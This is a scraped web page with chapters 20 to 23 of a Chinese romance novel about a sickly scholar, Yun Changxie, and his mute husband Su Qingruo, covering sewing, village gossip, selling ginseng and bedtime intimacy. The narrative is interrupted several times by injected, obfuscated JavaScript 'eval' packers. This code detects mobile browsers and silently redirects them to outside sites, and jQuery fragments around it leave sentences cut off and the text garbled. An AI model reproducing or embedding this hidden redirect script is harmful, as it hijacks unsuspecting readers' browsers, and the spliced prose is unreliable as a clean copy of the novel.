之后它眼睁睁看着云长歇,把那杯装了四五滴灵泉的水,分给苏青箬的弟弟妹妹喝。 水杯里的水不多,为了哄小孩喝,他就加了点糖。 两个小孩听说是糖水,两双眼睛都忍不住亮晶晶的。但是他们有点怕云长歇,没有立刻伸手把水接过来。 后来还是在苏青箬的示意下,四妹才大着胆子把水杯接过来,然后与艾草两个人把水给分了。 小院一共五间房,其中一间是厨房。 如今云长歇与苏青箬住一间,梁婶一间,甜桑一间,刚好还剩下一间,可以给艾草他们住。 苏青箬带着甜桑一起,把房间收拾了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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结果他躺下来没一会儿,感受着梳子轻轻从发间梳过,他的眼睛眨了两下就睡着了。 苏青箬没有立刻停下来,多梳头发不仅对头发好,还有些放松头脑的效果。 以前他还在苏家时,弟弟妹妹就很喜欢排队让他梳头发,那时候是他们为数不多的快乐时光。 等到云长歇睡沉了,苏青箬这才放下了梳子,然后开始解开衣衫准备休息。 他把外衫脱了,想了想好久没有换里衣了,怕里衣有味道让云长歇嫌弃,他想了想就把里衣也给脱了。 如今天气暖和起来,里面少穿一件里衣,应该也不会有什么。 苏青箬是哥儿,哥儿和女子一样,最里面要穿一件肚兜。 前几日,家里买了不少布,他今日从梁婶那里要了一些。 就打算趁着云长歇歇下,偷偷给自己缝制个新肚兜。 苏青箬不好光着身子,哪怕现在云长歇已经睡着了,他也会觉得十分不好意思。 于是他想了想,对着睡着的云长歇心虚笑了笑,就找了云长歇一件外衣披在肩上。 云长歇的外衣很大,因为经常触碰文房四宝,他的身上总是带着股墨香。 苏青箬披上衣服后,总觉得这衣服有点烫人,好像他被云长歇抱住了一样。 被自己的想象吓了一跳,苏青箬突然有点不敢看云长歇了。 他连忙找出今天要来的布,就坐到窗前桌子上开始缝衣服。 苏青箬的绣活不大好,加上夜里的光线比较暗,他一个走神就扎到了手指。 他轻轻吸了一口气,随即小心张口吹了吹,这才慢慢继续手上的活。 然后他不知道的是,床上的云长歇这个时候却突然醒了。 20.第 20 章 云长歇刚刚做了一个噩梦,梦见苏青箬上山遇见了危险,他被困在了一个陡峭的悬崖,而云长歇却根本没有办法救他,只能看着他从高处摔了下去。 真是……真是一个不吉利的梦。 云长歇醒来的时候,便下意识寻找苏青箬。床上没有苏青箬,他就立刻起身下了床,然后在窗边看见了人。 也不知道是不是梦还没有醒,还是今晚的苏青箬有点不同,云长歇看着坐在窗边的背影,好半天才慢慢抬脚走了过去。 此时的苏青箬披着他的外衣,坐在烛台前正在缝他的小衣。窗子他留了一道缝隙,一丝月光便漏了进来。 突然发现背后有个人时,苏青箬被吓了一大跳,就又扎了自己一下。 小哑巴不会说话,被自己给扎疼了,也发不出声响。 因为这一下扎得狠,苏青箬的眼泪都被扎出来了。 他有点埋怨的回头看了云长歇一眼,不明白云长歇不好好在床上休息,为何一声不响的跑到他的身后站着? 云长歇看到他埋怨的眼神,这才意识到自己这个样子很吓人。 他微微清了清嗓子,走上前去,想要跟苏青箬道歉。 然后……他靠近时才注意到,苏青箬披着他的外衣,外衣下面……就只穿了一件小衣。 小衣是真的很小,就是古代那种肚兜,能挡住的地方太少了。 都说灯下看美人,平日里只能算秀丽的苏青箬,这一刻突然多了一丝魅惑。 云长歇只看了一眼,就连忙移开了目光。他感觉自己好像被烫了一下,耳朵噌的一下就热了起来。 苏青箬是真的没有想到,睡觉一向特别能睡的云长歇,会在刚睡着没多久就醒来。 以前云长歇可以一夜睡到天明,夜里甚至都不会动弹一下。所以他是真的没有料到,自己这副样子会被他看见。 苏青箬满脸通红,他伸手拢了拢身上的外衣,连忙转过身去背对着云长歇。 云长歇咳了一声,也转身看向了床那边。 云长歇:“这么晚了,你为何还不休息?” 这话苏青箬没办法回答,一来他现在说不了话,二来缝小衣这样的事,也不适合跟个男子说。 见苏青箬那边一直没有动静,想到刚刚苏青箬扎到了手,云长歇就有一点担心他。 那一下肯定很疼,苏青箬都流眼泪了。 “抱歉,我刚刚不是故意的,我醒来发现你不在,就想要起来找你,没……” 没有想到会吓到他。 苏青箬依旧没有动静,云长歇只好转过身来,想要看看他在做什么。 此时的苏青箬正在舔手指,他刚刚那一下扎得有点深,手指头到现在还在冒血。 云长歇看到苏青箬han着手指的模样,不知道为什么突然有一种十分荒谬的念头。 他觉得这一刻的苏青箬,看起来像个邪恶的吸食人血的美艳厉鬼。 真的不是云长歇不正经,主要是这个环境太中式恐怖了。 又是夜里,又是烛台,又是月色下。 美人衣衫半解,唇上沾血的模样,还真是…… 好在云长歇信心坚定,很快他就压下心里胡思乱想的念头,把目光转移到了苏青箬受伤的手上。 “手指怎么样?还是让我看看吧?” 云长歇说着,人已经走到了苏青箬的身边,微微俯身便拉住了苏青箬的手腕。 苏青箬身上一僵,另一只手赶紧抓住身上差点掉了的外衣。 他不敢看云长歇,怕云长歇觉得他是一个放荡的哥儿,会觉得他是故意穿成这副模样的。 天可怜见,他是真的没有多想,也没有想到对方会醒。 后来苏青箬手指上的伤口,在云长歇帮助下止了血。 云长歇见他还想要继续缝衣服,便皱起眉头把人强行拉上了床。 “好了,夜里太过昏暗,不适合缝缝补补。你若是想要缝东西,大可明天白天再忙。如今天色已经很晚了,夫郎还是早点歇息吧。” 苏青箬被他拉着爬上床,只能抿着唇把外衣脱了。 他的衣服少,那身里衣脏了,又不能穿着外衣休息。 看来……他今天晚上,就要只穿一身小衣歇下了。 不过好在,虽然他与云长歇同床,但是一直是睡两个被窝,倒是不担心会有什么。 哎? 不对,他是云长歇的夫郎,按理来说,他们有什么也……也不奇怪吧? 那……为什么他穿成这样,云长歇都没有反应呢? 难不成,云长歇是真的不喜欢他,所以才不愿意碰他的吗? 这样想着,苏青箬一边躺下来,一边偷瞄了云长歇一眼。 不对,不对。 云长歇应该不是不喜欢他,他若是不喜欢他,完全可以休了他。 之前不敢休,那是因为云长歇怕三夫人。但是自从老夫人来过,云长歇应该是能休了他的。 可是云长歇不仅没有休了他,后来还同意了他搬过来住。 不止如此,云长歇还教他识字,还帮他救弟弟妹妹。 想到这里,苏青箬就放心下来。 他觉得,云长歇没有碰他,应该,应该是他身体不好。 他在乡下长大,乡下一些嫁了人的夫郎和媳妇没什么忌讳。就算当着未出嫁的哥儿姑娘,也是什么荤话都敢对外说的。 他们说做那档子事,男人要有一把好力气,不然没办法让媳妇舒服,还会被家里媳妇嫌弃。 云长歇这种连走路都会累的文弱书生,想要跟他做那档子事估计有些困难。 想到之前陈氏骂他的话,说他半年了肚子都没动静,苏青箬的心里就有点发愁。 也不知道要何年何月,他的肚子才能有个崽子? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15396373|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样想着想苏青箬不知不觉就睡着了,再次醒来的时候已经是第二天上午了。 苏青箬很少睡懒觉,发现马上就要到中午了,整个人吓得一个机灵。 他慌慌张张就要下床,就听到云长歇淡淡的对他说道:“时辰还早,你还可以再睡会儿。” 苏青箬听到他的声音,微微的恍惚了一下,随即他就想起来了。 对了,他……他已经嫁人了,他已经不在苏家了,就算起来晚了也没关系。 苏青箬的动作慢了下来,然后就注意到云长歇的手里好像拿着……拿着他没有做完的肚肚肚……肚兜?! 苏青箬在心里哎呀了一声,就满脸通红跑过去要抢过来。 云长歇见状一边躲开一边道:“别闹,等会我就要缝好了。” 苏青箬在心里叫道,你缝什么缝?你个官家公子,你会绣活吗? 而且……你知道你手里拿的是什么吗? 谁家正经读书人,会给自己夫郎缝肚兜? 云长歇把最后一针缝好,就咬断线把肚兜还给了苏青箬。 看到苏青箬满脸羞愤,云长歇便跟他解释了一番。 “我见你缝肚兜一直扎自己的手,你的绣活看起来还没有我的好,我早上起来无事就帮你给缝了。” 以前云长歇在山上,有的时候师父会给他缝衣服。 因为观里没什么女人,后来云长歇自己也学会了,还给他师父做过一双布鞋。 可惜,他的身体不好,后来师父就不让他做了,担心把他给累坏了。 苏青箬想说,他不是羞愤云长歇绣活比他好,他是羞愤他一个嫁人夫郎,要自己夫君给缝肚兜这种事。 他觉得,云长歇的手是用来舞文弄墨的,不应该浪费在缝缝补补上。 当然了,最主要的还是,还是肚兜这种私密的东西,不该由他个当夫君的来动手。 似乎看出来他的想法,云长歇不介意的对他说:“那有什么,大周也没有规定,读书人给夫郎缝了小衣,就不允许他参加科举啊?更何况,这种事情不管是你还是我,也不会随随便便对外人说。” 云长歇是真的不觉得有什么,他缝衣服的时候想得很简单,就是不想苏青箬再扎自己手。 但是看到苏青箬满脸羞愤的模样,云长歇又觉得自己确实有点逾越了。 小衣嘛,应该和后世的内衣差不多。 这感觉就像是,他一个男人摸了人家女孩的胸衣差不多。 好像……好像确实有点猥琐。 这样想着,云长歇站起身来,就朝着苏青箬一礼。 “青箬莫气,是我唐突了。” 他这样有模有样,正正经经给苏青箬行礼,苏青箬顿时就气不起来了。 不管怎么说,对方都不算是陌生男子,云长歇是他正儿八经的夫君,就算……就算他喜欢他的小衣,他也是,也是要给的。 21.第 21 章 中午吃过饭之后,苏青箬带着弟弟妹妹去河边洗衣服,梁婶要和甜桑给大家做新衣服。 本来像是洗衣服这样的事情,不应该由苏青箬这个当主夫的来洗的。 但是苏青箬习惯了,他没有嫁过来之前,在苏家不仅要洗衣服,还要做饭,还要下地,上山挖野菜…… 习惯了每天忙忙碌碌,若是真的什么都不做了,苏青箬的心里又会发慌,总觉得自己变成了个废物。 所以他与云长歇讨价还价,其他的事情他可以不做,他自己的衣服还要洗的。 还有就是上山,他是在大山里长大的,他打心里就喜欢大山。云长歇不能剥夺了,他进出大山的权利。 云长歇也知道,一个忙碌惯了的人,若是让他什么都不做,他不会觉得这是幸福,反而会过得有负罪感。 再加上,生命在于运动,那些富贵人家吃个饭,都要让一群人伺候着,对于身体不见得就好。做一些力所能及的事情,有时候对身体也会有好处。 就是云长歇这样身体不好的人,有的时候也是要稍微动动的。所以云长歇就不怎么管着他,只要他不做一些危险的事情就行。 云长歇在家里看了会儿书,想到上午小衣的事情,他担心苏青箬还在生气,便收拾一下就出了家门。 福旺见状,立刻屁颠屁颠跟了出去。 一人一狗走得慢腾腾的,路上遇见了来找云长歇的山雀。 山雀依旧想要带云长歇上山,可惜云长歇这身子骨没有本事上山。 不等云长歇开口拒绝,福旺突然冲着山雀叫了起来,山雀也对着福旺一阵叽叽喳喳。 不知道为什么,云长歇总觉得它们两个交流上了? 不对啊,一个是山雀,一个是狗,物种不同应该语言不通才是? 就在云长歇这般想着的时候,福旺对着云长歇叫了两声,随即就要跟着山雀去山上。 云长歇见状连忙叫住福旺,“你是一只小狗,不是成年大狗,你不可以上山的。” 如今的山上跟后世的大山可不一样,到处都是豺狼虎豹,还有很多危险的毒蛇毒蚁。 若是成年猎犬,还可以去山上转转。只可惜福旺年纪还小,云长歇不大放心它乱跑。 福旺听到云长歇的话,没有像以前那样听话,而是冲着云长歇一阵叫,叫完了就跟着山雀跑了。 云长歇身体不好,追不上一狗一鸟,只好无奈的看着它们走远。 福旺大多数都很听话的,这一次会这样的不听话,是因为山雀对它说山上有宝贝,那宝贝可以治好云长歇身上的病。 小狗不懂那么多,它只是想要云长歇身体好起来,于是它就跟着山雀离开了。 福旺走后,云长歇在河边找到了苏青箬兄妹三人。 村里人洗衣服,大多在河的下游。 平日里打水用水,就去河的上游。 苏青箬带着弟弟妹妹,此时就在河的下游洗衣服。 他洗的衣服,是昨日他换下来的那一身衣服,以及今天云长歇给他缝的小衣。 衣服是苏青箬自己洗的,虽然名义上弟弟妹妹是他的小奴仆了,但是看着骨瘦嶙峋且年幼的弟弟妹妹,苏青箬打心里不舍得使唤他们干活。 此时的苏青箬身边,除了弟弟妹妹之外,还有两个年轻夫郎。 他们不知道在跟苏青箬说什么,苏青箬看起来似乎不大开心。 想到上一次,苏青箬被那个尹秋花欺负的事,云长歇稍微加快脚步走了过去。 云长歇过去的时候,艾草正叉着腰凶巴巴的对着一个夫郎骂道:“我们家的事情关你什么事,你这个人怎么这样不要脸啊。以前你就嫉妒我大哥比你漂亮,后来你嫁人了就过来笑话我大哥,笑话我大哥长得漂亮也嫁不出去。如今看到我大哥嫁出去了,还嫁得比你好,你又过来挑拨。” 被他骂的夫郎气呼呼的说:“你个丑哥儿,我哪里是挑拨了,本来事情就是这样的。那三公子来村里时,就是带着两个俊俏奴仆。是那个叫泽兰的自己说的,她说她是三公子的房里人。房里人不就是通房吗,人家有那么漂亮的通房,哪里还愿意碰你大哥这样的泥腿子?” 不等艾草继续骂,云长歇便笑着说道:“我的家事,你倒是知道的比我都清楚。” 那夫郎闻言愣了一下,等看清楚说这话的人是谁,脸上得意的表情猛然一僵。 他是真的没有想到,云长歇这个时候会过来。 一般这个时候,村里汉子要么在田里干活,要么就是在家里歇息呢,很少有男人会来河边洗衣服的地方。 云家的这位却恰恰相反,这位公子不需要做农活,就连读书也不怎么用功。 平日里闲散得狠,最近特别喜欢在村里乱逛,会来河边也没什么奇怪的。 那夫郎被抓到说人坏话,也就一开始尴尬了一下,他这个人脸皮一向很厚,被云长歇讥讽了也不在乎。 他笑着对云长歇问道:“云公子,那个泽兰是不是你的通房啊?” 云长歇闻言,瞥了苏青箬一眼,见苏青箬洗衣服的动作一顿,似乎正在竖着耳朵等他的回答。 本来不想回答的云长歇只好回答道:“我自幼身体就不好,可没有那个精力与力气要什么通房。” “可是……那个泽兰她自己说……” “她是别人安排在我身边的,她说的话自然是不能信的。”云长歇这一句,是对着苏青箬说的。 泽兰是原主的通房,三夫人给安排的。 但是原主喜欢读书,对她完全没有兴趣,根本就没碰过她。然后就是云长歇,云长歇更不可能碰个要害自己的人。 没有碰过,就算她是原主通房,云长歇也不会承认。 听到云长歇跟那个泽兰没什么,苏青箬这才稍微松了一口气。 那夫郎还想要在开口问什么,云长歇却不打算继续搭理他了。 他刚刚之所以会回答他,主要是为了让苏青箬安心的。 不管他们以后能否在一起,在他还是对方名义上的夫君时,他都会努力保全苏青箬的脸面。 待到苏青箬把衣服洗好,他们一道往回走的时候,云长歇对苏青箬说道:“你不要介意那些人说的话,若是不喜欢他们不接触就行。我们以后不会在这里久待,就算得罪了他们也没有关系。” 苏青箬听到这话,有点疑惑的抬起头看向他。 三夫人不喜欢云长歇,自然不肯让云长歇回去的。那么回不了县城云家,他们不待在村子里还能去哪里? 云长歇是想回云家老家的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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福旺带回来的是一株灵芝,不算特别大,却保存的十分完整,一看就知道很值钱。 上一次两只山雀要带他上山的时候,他就猜到应该是它们找到了好东西,但是没有想到会是这样珍贵的林中灵。 这东西贵啊。 估计不比他挖得那颗人参差多少。 云长歇的手里,有不少人参,何首乌这种名贵药材,却没有灵芝这样的宝物。 他不舍得把这株灵芝卖了,就直接收进了他的芥子空间里。 他手里的人参多,灵芝却仅此一株,还是留着当宝贝吧。 为了奖励上山的福旺,也为了奖励寻到宝贝的两只山雀,之后云长歇取了一瓶灵泉水,然后分给了三只小家伙喝。 发现寻到宝贝,还能有灵泉水喝,两只山雀格外开心。 它们决定了,以后再发现山里有好东西,都要第一时间告诉云长歇。 至于什么是好东西?这个它们可以慢慢学,也可以慢慢观察两脚兽,应该不会难倒它们的。 22.第 22 章 次日一大早,云长歇一个人去的隔壁镇子,他要把手里的那颗人参卖了。 听说他要一个人出门,不管是苏青箬还是梁婶都很担心。云长歇为了让他们放心,就把家里的福旺给带上了。 现在的福旺个头不小了,吓唬吓唬一些胆小的人,它还是有一点效果的。 隔壁镇子,要比寻乡镇远一点。 云长歇路不熟,一路上走走停停的,到了中午才到镇上。 这个时候他已经有点累了,就没有急着去医馆卖人参。 他先去吃了午饭,稍微休息一番,这才去了镇上医馆。 云长歇带的人参品相很好,刚去第一家那里的大夫就看上了。只可惜对方给的价有点低,只愿意出一百两银子买下来。 若是普通的人参,一百两就一百两了。 云长歇带的人参不一般,是用灵泉水浇灌过的,药效肯定比普通人参好。若是只卖一百两有点低了,所以他又去其他一家问了问。 因为他们这个镇子比较小,一共就只有两家医馆而已。第一家给的价格不高,第二家也高不到哪里去。 云长歇现在的身体不好,也没有精力跑到县里去卖。最后他以一百三十两的价格,把那颗人参卖给了第二家医馆。 之前云长歇的手里,还有将近六十两银子。如今加上这一百三十两,他的手里有将近两百两银子,心里一下子就踏实了起来。 在古代二百两银子可不是什么小数目,足够一个普通人家花用很长时间了。 因为有钱了,就有了底气,云长歇在回去之前,就买了不少东西。 他买了几刀纸,两盒墨条,还买了五匹布,六斤猪肉,以及两斤牛肉。 古代普通人不能私自杀牛,但是不代表就没有牛肉吃。 一些牛若是快老死了,或者意外受伤不能耕种的,在官府批准下是可以宰杀的。 云长歇的运气不错,刚好碰见镇上有人卖牛肉,他们家的牛是意外摔死的。 因为不是病牛,也不是老牛,肉质十分新鲜,价格就比较的贵。 云长歇现在手里有些钱,又是个对自己很大方的,便上前买了两斤尝尝鲜。 这一次卖了一颗人参,之后短时间内就不能再靠人参换银子了。 哪怕他特意跑到隔壁镇卖的,卖人参这样的事情也十分打眼。 他第一次卖人参,别人兴许不会多想。只会觉得他这个人运气好,碰到了人参这种好东西。 一百多两银子看起来确实很多,但是在大周这样国泰民安的环境下,不会有人为了一百多两银子盯上他。 不过这一次不会盯上,等到下一次就不一定了。 若是他再一次卖人参这样的名贵药材,就算坏人不会因此盯上他,一些医馆的人也会盯上他。 所以卖人参这样的赚钱方式不长久,一个地方能够卖上一次就不错了。云长歇若是想要一直赚钱,还是要找机会把美肤膏推出去才行。 傍晚的时候,云长歇这才慢悠悠的回到了村子里。 村子里的人这会儿不干活,看到他马车上堆了不少好东西,就有人忍不住好奇的围上来。 一个上了年纪的大娘,看到马车上的那些布匹后,心里忍不住开始羡慕苏青箬。 她记得就在不久之前,这位云家的公子才买过布,还给他家夫郎买了新衣裳。 为了苏青箬那身新衣服,苏青箬爹爹陈氏还上门闹过。这件事情才过去没几天,云公子就又去镇上买布去了。看来这位云公子再不受宠,也要比他们这些泥腿子有钱。 尹秋花站在人群里,抿着嘴,皱着眉,看着马车上的那些东西,心里忍不住嫉妒的不行。 他实在是不明白,云公子这样尊贵的身份,明明可以找到更好的夫郎,为什么不把那个哑巴休了? 大家不是都说,云公子娶那个哑巴是被逼无奈吗?之前云公子祖母过来看望他,他为什么不趁机把人给休了?如今还对那哑巴那样好? 那些好布像是不要钱一样往家里拉,还为了那哑巴把他弟弟妹妹买了。 在尹秋花不解的心情里,云长歇带着一车东西往自家小院赶。 苏青箬一直很担心他,下午就一直等在家门口。此时看到云长歇回来了,他立刻担心迎了过去。 苏青箬见云长歇的脸色不好,就让云长歇从马车上下来,之后的事情没让他再伸手。 云长歇回到院子里,就找了个躺椅躺下了。 他这会儿确实累了,他才学会赶马车,技术不怎么行。 好在他们家的马还算温顺,还喝过云长歇喂的灵泉水,它在云长歇手里一直很乖。 马儿温顺是温顺,但是这里的路不平整,一路上不仅十分的颠簸,马车上坐着也不舒服。 云长歇一边躺下来,一边对院子里的几人道:“布下面是纸,你们小心点。” 甜桑闻言点了点头,“知道了,公子,我这就把纸送进你房里。” 甜桑手脚麻利,他把上面的纸和装墨条的盒子,一起搬到云长歇房里放好。 他回来的时候,梁婶已经把马车上的猪肉与牛肉拎去了厨房。 甜桑见上面还有五匹布,大多数是一些颜色很鲜亮的,就知道公子这是又给他们买的。 他开心走上前去,一边往下搬一边问道:“公子,怎么又买了这么多布?” 傍晚山里有点凉,云长歇轻轻咳了一声,这才开口回答他的问题。 “家里又添了两口人,我担心那些布不够用。” 在云长歇说话的时候,苏青箬去房里给他拿了一件披风。 甜桑见状偷偷笑了笑,他刚刚也听见公子咳嗽了。 他本来想要去拿衣服的,后来瞥见主夫进了房里,就知道应该用不到他了。 此时见到主夫给公子披衣服,甜桑就觉得主夫对公子挺好的,也不知主夫什么时候能有孩子? 甜桑是个很有眼色的,公子的事情他事事上心。如果主夫能注意到的,他不会上赶着抢着做。只有主夫没有注意到的,他才会过去照顾他们公子。 山樆见家里买了不少布,就偷偷找到苏青箬跟前,她想要一些布来学刺绣。 以前在苏家的时候家里穷,就算有布也不会让她碰。 如今在这边,云公子看起来挺在乎大哥的,她就想要让大哥给她点布。 她想学刺绣,想要绣活跟甜桑哥哥一样厉害。 这样,她以后就可以给大哥,三哥做衣服穿了。 等到大哥有了小孩,她还能给未来外甥做衣服。 苏青箬闻言点了点头,如今梁婶正在教他管家,很多东西都由他来管着。 苏青箬嫁过来的时候,他身上就带了一身衣服, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410373|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是没有自己的箱子的。 以前没有箱子就没有吧,反正他也没有什么东西。 如今却不一样了,他的衣服和东西渐渐多起来,就要有属于自己的箱子。 云长歇把自己的箱子,腾了一个出来给他用。等到之后打了新木箱,再给苏青箬添置一个。 今天云长歇新买的布,就交到了苏青箬的手里。 五匹布,都是棉布。 其中只有一匹是天青色的,剩下的四匹布颜色都很鲜亮。 有一匹是嫩鹅黄色的,上面还有淡淡的蜜色花纹,要比其他几匹布贵上二十文。 大周的风气比较开放,在云长歇的印象里面,黄色一直都是皇室与权利的象征,普通百姓是不可以穿在身上的。 但是他们大周却可以,一个小小的偏僻镇子,都能看见卖鹅黄色的布。也不知道那些城里,又是如何繁华的模样。 苏青箬不舍得用这些布给四妹练手,他就跑到梁婶那里,要了两块做衣服剩的布头。 如愿拿到布之后,山樆就开始有模有样学了起来。 在刺绣这方面,苏青箬这个大哥没有什么能教她的。山樆若是想要学习刺绣,就只能去找甜桑学习。 好在,甜桑是个性格热情开朗的,山樆想要跟他学东西,甜桑不会不教她的。 晚上他们吃了牛肉,苏青箬没有吃过牛肉,第一次吃忍不住吃多了。 等到晚上躺下休息时,吃撑了的苏青箬就有点睡不着。 他翻来覆去了好久,又偷偷的揉了揉肚子。 云长歇听到动静睁开眼睛,还以为他是吃多了肚子疼,便凑过去小声询问了一句。 “怎么,肚子疼吗?” 苏青箬闻言摇了摇头,他转过身来面向云长歇,想告诉云长歇他只是吃撑了。 结果他一转身,就看到云长歇长发披肩,正一脸担心的看着他。 苏青箬不得不承认的是,云长歇确实长得挺好看的,不是那种浓眉大眼的好看,而是那种清风朗月冷冷清清的好看。 他愣愣的看着云长歇,心里想到对方是他的夫君,不知道为什么就有点想笑。 云长歇见他有点呆呆的,还以为他是真的不舒服。 云长歇小声道:“很不舒服吗?要不要我帮你揉揉肚子?” 苏青箬闻言本来想要摇头的,他又不是三弟四妹那样的小孩子,他肚子不舒服了是可以自己揉的。 但是他从小到大,没有被人照顾过,也没人像云长歇这样,语气温柔的关心他。 父亲爹爹嫌弃他是哥儿,从小就不怎么在乎他。 他又是家里的老大,他从小就要懂事,就要乖巧,要会心疼弟弟妹妹,却很少被人照顾被人心疼。 苏青箬也不知道自己怎么了,听到云长歇这样温柔的语气,鬼使神差的他就点了点头。 被人爱护,被人关怀的感觉是什么样的呢? 云长歇没有想到苏青箬会点头,他刚刚那样问完就有点后悔了。 本来他以为苏青箬会拒绝的,只要苏青箬拒绝他就当做什么都没有发生。 可是……可是苏青箬点头了。 云长歇微微吸了一口气,只好硬着头皮伸出了手。 罢了,罢了,他只是给人家揉一揉肚子,只要管住自己的手不乱摸,应该……应该没有什么大碍吧? 23.第 23 章 抱着这样的想法,云长歇拉开苏青箬身上的被子,伸出一只手摸到苏青箬的肚子。 苏青箬今天穿了里衣,里衣里面还有个肚兜。隔着两层的布料,苏青箬以为就算被碰到肚子也不会觉得有什么不妥。 但是他现在还是个小哥儿,还没有成为云长歇夫郎。 身子没有被碰过,自然就比较的敏感。 云长歇的手掌才刚刚触碰到他肚子,他就敏感的缩了缩脚指头。 等到云长歇真的开始揉,苏青箬忍不住红了脸,轻轻的咬紧了牙根。 云长歇见他皱起眉头,还以为他揉得不舒服,忍不住立刻停了下来。 “怎么了,是不是更疼了?” 苏青箬闻言摇了摇头,不疼的。 一开始就不疼,只是他不会说话,所以云长歇误解了。 担心云长歇继续误会,他在云长歇身上写了两个字。 云长歇:“不疼?那你为什么皱着眉头?” 苏青箬听到这话,尴尬的不知道要如何回答。 他皱眉,那,那是因为他觉得不好意思。 今天难得吃牛肉,他稍微吃得多了点,肚子就撑得有点圆。 他之前没有觉得不好意思,因为梁婶总是说能吃是福气,搞得他一直以为能吃是好事。 但是这一刻云长歇给他揉肚子,他垂眼看了看自己微微鼓起的肚子,不知道为什么就觉得很丢脸很难为情。 一方面觉得自己没出息,因为贪嘴把自己吃撑了。 另一方面他觉得,他……现在的肚子,有点像是怀孕了。 但是他与云长歇都知道,他们到现在还没有圆房,根本不可能有孩子的。 “那……还要揉吗?”云长歇见苏青箬没有回答,就点不确定的问道。 苏青箬微微抬眸,飞速的瞥了云长歇一眼,然后无声的点了点头。 其实……云长歇揉得还挺舒服的,跟他自己照顾自己的感觉不大一样。他很温柔,很有耐心,像是在照顾心爱之人一样,让苏青箬觉得心里很幸福。 云长歇见状,便只好继续揉了起来。 他想着人家哥儿都比他大方,他一个大男人何必扭扭捏捏? 为了更加方便给苏青箬揉肚子,云长歇干脆从被窝里坐了起来。 他让苏青箬平躺好,这样能够更加方便给苏青箬揉肚子。 这一次苏青箬没有继续皱眉,而是抿着唇瓣,垂着眼帘,有点不敢看云长歇。 他在心里努力安慰自己,这个男人是他的夫君啊,他让夫君揉揉肚子没什么。 以后他们还要同床共枕,还要一起生小孩子。据说夫夫两人生小孩子,都是要那什么相亲的。 他们要不穿衣服的贴在一块儿,还要互相吃嘴子…… 所以揉肚子没有什么的,毕竟现在还隔着衣服呢。 可是……可是他夫君的手心,为什么会这样烫啊? 隔了两层的布料,他都能感觉到烫了。如果没有隔布料,苏青箬都有点不敢想象。 苏青箬那边在想夫夫之间的事情,云长歇这边却揉着揉着有点走神,也就没有注意到苏青箬越来越红的脸。 云长歇在想,明天苏青箬估计又要上山,大山里有很多野菜野果子,也有很多危险的豺狼虎豹。如今福旺还小,也不知道能不能保护好他? 不等他这边继续多想,他给苏青箬揉肚子的那只手,突然就被苏青箬给抓住了。 云长歇疑惑的回过神来,有点不解的看向苏青箬。然后他就发现,苏青箬的脸颊红的不正常,像是身体不大舒服一样。 云长歇还没有反应过来,还以为是苏青箬更不舒服了。他刚想要俯身询问苏青箬的情况,人才刚刚靠过去就被苏青箬推开了。 “怎么了?你是不是生病了?” 苏青箬快速的推开他,然后转身不想面对他。然而云长歇不明所以,他越是这样云长歇就越是担心。 “怎么了,你告诉我你哪里不舒服?” 苏青箬闻言在心里嘀咕,他也不清楚自己哪里不舒服,就是觉得自己身上有点怪怪的。 他觉得他应该不是生病了,而是被云长歇触碰导致的。只要他不让云长歇触碰他,那奇怪的感觉自然就会消失。 但是他知道归他知道,云长歇却是不知道的。云长歇不知道就要问他,而他又不方便跟对方说,于是小夫夫就这样僵持着。 云长歇实在是没有办法,就打算起身去寻梁婶。梁婶年纪大,又是个女子,对哥儿的事情肯定比他清楚。 然而不等他从床上下去,苏青箬猜到了他想要去干嘛,就连忙伸手把他给拦住了。 为了防止云长歇继续担心,把梁婶他们给招过来了,苏青箬只好红着脸颊在云长歇手心里写了几个字。 苏青箬写完就飞快缩回了被窝里,另一边后知后觉反应过来的云长歇,忍不住伸手捏了捏自己有点热的耳朵。 之后两个人都有点尴尬,于是两个人便默契的没有再交流,而是假装累了闭上眼睛休息。 实际上,两个人都没有睡着,心里都在想着事情。 次日早上,十分难得的云长歇与苏青箬都没能早起。 没能早起,就没有起来读书。 云长歇见状,就没有让苏青箬今天再上山。上午他抓住苏青箬读书识字,下午带着苏青箬去了村里木匠家。 昨日云长歇给苏青箬腾出了个木箱装东西,后来发现苏青箬连个梳妆台都没有。 他是男子没有梳妆台没什么,但是苏青箬他是一个哥儿,哥儿大多喜欢梳妆打扮的。 就算苏青箬不用天天梳妆打扮,像是梳妆台,梳妆镜,首饰盒这类东西还是不能少了。 两个人一道去了木匠家里,村里的木匠手艺不算很好,会做的梳妆台就那两种。 